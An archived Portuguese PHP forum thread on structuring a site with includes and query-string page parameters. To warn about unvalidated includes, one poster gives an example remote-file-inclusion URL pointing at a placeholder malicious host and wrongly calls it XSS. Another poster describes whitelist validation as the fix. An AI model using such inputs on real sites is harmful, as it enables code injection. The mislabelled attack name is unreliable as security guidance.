Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

ebotega

Estrutura de um site

Recommended Posts

Pessoal, precisa saber como é estruturado um site, explico melhor...

 

O site tem a "index.php", quando clico no menu "produtos", por exemplo, geralmente o pessoal estrutura as página de que forma? O link pode levar direto para a página para listar produtos, pode chamar a index passando um parâmetro 'produtos' ou pode levar a uma pasta 'produtos' e lá ter uma index que liste os produtos...

 

Geralmente eu uso levando pra index e passando um parâmetro que identifica a página, depois eu faço um '<?php include('pagina.php') ?>', isso para preservar o que já foi feito, ou seja, topo, menu, laterais, rodapé...

 

Como vocês geralmente desenvolvem isso?

 

 

valeu...

Compartilhar este post


Link para o post
Compartilhar em outros sites

Eu "fragmento" o site no que vai ser aproveitado em outras paginas, tipo, topo.php, lateral.php, rodape.php.

 

Ai uso os includes chamando em outras paginas o que for manter como padrão.

O importante é ter uma div tipo "conteudo" que já recebe as formatações padrão no css.

Compartilhar este post


Link para o post
Compartilhar em outros sites

claro... não tinha pensado ainda nesse formato, bom... é uma ideia.

 

Alguém aí trabalha de outra forma?

 

:thumbsup:

Compartilhar este post


Link para o post
Compartilhar em outros sites
Geralmente eu uso levando pra index e passando um parâmetro que identifica a página, depois eu faço um '<?php include('pagina.php') ?>',

 

1-isso eh chamado de metodo template, você constroi um template, um modelo e muda apenas o conteudo dele, porem ao usar a forma do inclusde você abre brecha de seguranca, a nao ser q as trate, o ideal seria você se basear este template em actions...

 

se for uma pagina estatica (nao use banco de dados) você pode ler um txt pre formatado com o texto ja em html, ou se usar banco de dados, você ja faz a consulta, este metodo template você so usa uma unica pagina e vai modificando o miolo, o conteudo, mantendo o resto.

 

2-ha tb o metodo query string, onde poe exemplo, você tem a index e a produtos, quando chamada a produtos você lista as categorias, quando clica numa categoria, fica tipo

 

produtos.php?cat=5, a partir do "?", fica um cordao de consulta ( ou linha de consulta - query string) , ae na mesma pagina de produtos você muda o miolo, consulta o banco e mostra os produtos dakela categoria.

 

a 2 forma tb se utiliza o url amigaveis, por ser mais legivel aos buscadores, principalmente o google, mas ae eu ja t dei 2 opcoes...

Compartilhar este post


Link para o post
Compartilhar em outros sites

Bem, eu uso template com includes PHP a partir de valores passados por GET.

 

Dependendo dos valores do GET um include é feito, pode ser tanto do menu quando das chamadas CSS e JS, assim o site muda de acordo com o que se clicou no menu, a maioria dos sites não precisa disso, mas gosto de possibilidades e nunca se sabe quando quem tiver pedindo o site vai querem alguma mudança então o que crio é bem fragmentado e se junta de acordo com os parâmetros passados.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Igor, o que seria exatamente basear a template em actions?

 

Poderia me dar um exemplo de brecha de segurança que o 'include' pode ocasionar.

 

Já fiz um site lendo de txt usando justamente o 'file_get_contents', contudo hoje leio de um banco de dados.

 

A estrutura que comento seria mais ou menos como se eu clicasse em um item do menu como, por exemplo, produtos em que o link desse menu aponta para 'index.php?pg=produtos'. Na index vejo o valor da variavel 'pg' e com um 'if' faço um include na página produtos.php.

Compartilhar este post


Link para o post
Compartilhar em outros sites
Já fiz um site lendo de txt usando justamente o 'file_get_contents', contudo hoje leio de um banco de dados.

 

fez correto, imagina q você fez por include

 

seusite.com/?pagina=home

 

ae você inclui home.php

 

beleza

 

ae alguem malicioso vai q faz

 

seusite.com/?pagina=www.sitemalicioso.com/scriptmalvado.php

 

ae ele consegue inserir um script malicioso no seu site, o nome disso eh xss injection, quando alguem inveta um codigo malicioso no seu site...

 

exatamente aki, isso eh feito

 

Bem, eu uso template com includes PHP a partir de valores passados por GET.

 

Dependendo dos valores do GET um include é feito, pode ser tanto do menu quando das chamadas CSS e JS, assim o site muda de acordo com o que se clicou no menu, a maioria dos sites não precisa disso, mas gosto de possibilidades e nunca se sabe quando quem tiver pedindo o site vai querem alguma mudança então o que crio é bem fragmentado e se junta de acordo com os parâmetros passados.

 

 

o templates em actions seria fazer o q você fez, nao dar includes...

 

você constroi um template, um modelo e muda apenas o conteudo dele, porem ao usar a forma do inclusde você abre brecha de seguranca, a nao ser q as trate, o ideal seria você se basear este template em actions...

 

se for uma pagina estatica (nao use banco de dados) você pode ler um txt pre formatado com o texto ja em html, ou se usar banco de dados, você ja faz a consulta, este metodo template você so usa uma unica pagina e vai modificando o miolo, o conteudo, mantendo o resto.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Eu uso:

 

<?php
include('functions.php');
include('head.php');
include('topo.php');
include('menu.php');
?>
<div id='content'>
 blablla labjlab lab lab
 bçalbjlçajb
 albjaçlbj
</div>
<?php
include('footer.php');
?>

Compartilhar este post


Link para o post
Compartilhar em outros sites

seusite.com/?pagina=home

 

ae você inclui home.php

 

beleza

 

ae alguem malicioso vai q faz

 

seusite.com/?pagina=www.sitemalicioso.com/scriptmalvado.php

 

ae ele consegue inserir um script malicioso no seu site, o nome disso eh xss injection, quando alguem inveta um codigo malicioso no seu site...

 

Interessante, só que tipo, eu faço validação, tenho uma classe que pegar os valores do GET e vê se existe na minha White List e se o arquivo existe no meu endereço e se existir ele retorna um include baseado no valor do Get, caso não ele retorna um include da página Error404.php.

 

Isso dá brecha?

Compartilhar este post


Link para o post
Compartilhar em outros sites
1-isso eh chamado de metodo template, você constroi um template, um modelo e muda apenas o conteudo dele, porem ao usar a forma do inclusde você abre brecha de seguranca, a nao ser q as trate, o ideal seria você se basear este template em actions...

Compartilhar este post


Link para o post
Compartilhar em outros sites
micox, nao eh a mesma coisa...você fez um template estatico...

Então não entendi a pergutna do cara.

Achei que ele queria saber como fazemos nossa estrutura.

 

Eu faço assim pra qualquer tipo de site ou sistema quando quero preservar o que já foi feito (menu, topo, laterais, rodapé).

 

Ah, faço também mesmo quando não quero preservar. Hipoteticamente eu poderia ter uma página produtos.php sem menu.php

Compartilhar este post


Link para o post
Compartilhar em outros sites

rapaz é complicado,

mas o que o pessoal as vezes esquece de falar as coisas detalhadamente e é uma dúvida chata que muitos só perdem

depois que veem em prática.

 

uma delas é assim:.

 

<?php require('inc/menu.php'); ?> ou <?php include('inc/menu.php'); ?> como preferir.

 

quando você faz a estrutura do menu, é como se você tive-se na própria index.

 

a index.php está na pasta principal, e o menu na pasta "inc".

 

para exibir uma imagem no menu normalmente você faria, <img src="../img/foto01.jpg" />

 

mas quando tu estiver usando ele como uma include na (index.php) no (menu.php) isso fica assim

<img src="img/foto01.jpg" />

 

e assim para ambos.

Compartilhar este post


Link para o post
Compartilhar em outros sites

@micox, de certa forma você esta certo, mas você apenas entendeu parte da duvida do membro

O site tem a "index.php", quando clico no menu "produtos", por exemplo, 1-geralmente o pessoal estrutura as página de que forma? 2-O link pode levar direto para a página para listar produtos,3- pode chamar a index passando um parâmetro 'produtos' ou 4-pode levar a uma pasta 'produtos' e lá ter uma index que liste os produtos...

 

5-Geralmente eu uso levando pra index e passando um parâmetro que identifica a página, depois eu faço um '<?php include('pagina.php') ?>', isso para preservar o que já foi feito, ou seja, topo, menu, laterais, rodapé...

 

eu identifiquei as reais duvidas do usuario por numeros...veja q a duvida dele eh como estruturar todo um site e nao apenas uma unica pagina...beleza?

Compartilhar este post


Link para o post
Compartilhar em outros sites

Verdade Igor, não tinha pensado nos parâmetros que podem ser informados (www.xxx.com.br), mas como você e o Diegus comentam, esse parâmetro pode ser tratado nesses casos.

 

E quanto a forma que o micox colocou em #9, isso seria mais interessante então do que chamar a index passando um parâmetro e tratando lá qual include fazer?

Compartilhar este post


Link para o post
Compartilhar em outros sites

se tratar este paramentro sim, porem o seu topico fala da estrutura de um site, o micox colocou a estrutura de uma pagina, na verdade o q ele fez foi apenas um modo de fazer template, nao condiz muito com o seu topico...mas você eh o autor, você decide...

Compartilhar este post


Link para o post
Compartilhar em outros sites

se tratar este paramentro sim...

 

O que você comenta é que se eu tratar o parâmetro na index 'não faz tanta diferença' comparado ao formato mostrado na #9?

 

O tópico é sobre a estrutura do site, mas a dúvida maior mesmo é sobre como tratar as 'chamadas' das páginas mesmo. A estrutura dos diretórios dependente como cada um trata do site, por exemplo, eu ainda não trabalho orientado a objtos, assim não terei diversas pastas como 'lib', 'inc', 'classes'...

Compartilhar este post


Link para o post
Compartilhar em outros sites

O tópico é sobre a estrutura do site, mas a dúvida maior mesmo é sobre como tratar as 'chamadas' das páginas mesmo. A estrutura dos diretórios dependente como cada um trata do site, por exemplo, eu ainda não trabalho orientado a objtos, assim não terei diversas pastas como 'lib', 'inc', 'classes'...

 

perceba q o post #9, nao fas nada a nao ser montar uma unica pagina e q a mesma nao se relaciona com a url e nem com banco, portanto ela eh estatica

 

O que você comenta é que se eu tratar o parâmetro na index 'não faz tanta diferença'

 

na verdade faz sim, se você tratar seu scritp estara mais seguro contra xss...

 

reveja o topico #4 e tente entender a ideia q passei...

 

assim não terei diversas pastas como 'lib', 'inc', 'classes

estas pastas você tera mesmo nao sendo orientado a objetos...

 

sobre fazer as chamadas das paginas relea o post #8....

Compartilhar este post


Link para o post
Compartilhar em outros sites

bom... pra começar acho que vou tratar esses 'includes' e chamar as páginas pelo link e incluir as áreas que não mudam, ou seja, topo, menu...

 

Com os tóicos já deu pra ter uma ideia e direcao de como estruturar as paginas, se surgirem ideias para diretórios... são bem vindas.

 

:thumbsup:

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.